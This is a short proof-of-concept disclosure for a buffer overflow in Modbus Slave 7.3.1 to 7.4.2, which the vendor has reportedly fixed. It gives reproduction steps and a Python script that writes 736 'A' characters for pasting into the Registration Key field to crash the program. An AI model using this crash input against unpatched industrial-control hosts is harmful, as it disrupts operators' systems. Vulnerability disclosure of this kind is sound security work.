Vendor has been notified and fixed
https://www.modbustools.com/ModSlaveChangeLog.txt

tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Steps to reproduce:
# 1. - Download and install Modbus Slave
# 2. - Run the python script and it will create modbus.txt file.
# 3. - Modbus Slave 7.3.1 < 7.4.2
# 4. - Connection -> Connect
# 5. - Paste the characters of txt file to Registration Key
# 6. - press "ok" button
# 7. - Crashed

#!/usr/bin/python

exploit = 'A' * 736

try:
file = open("Modbus.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")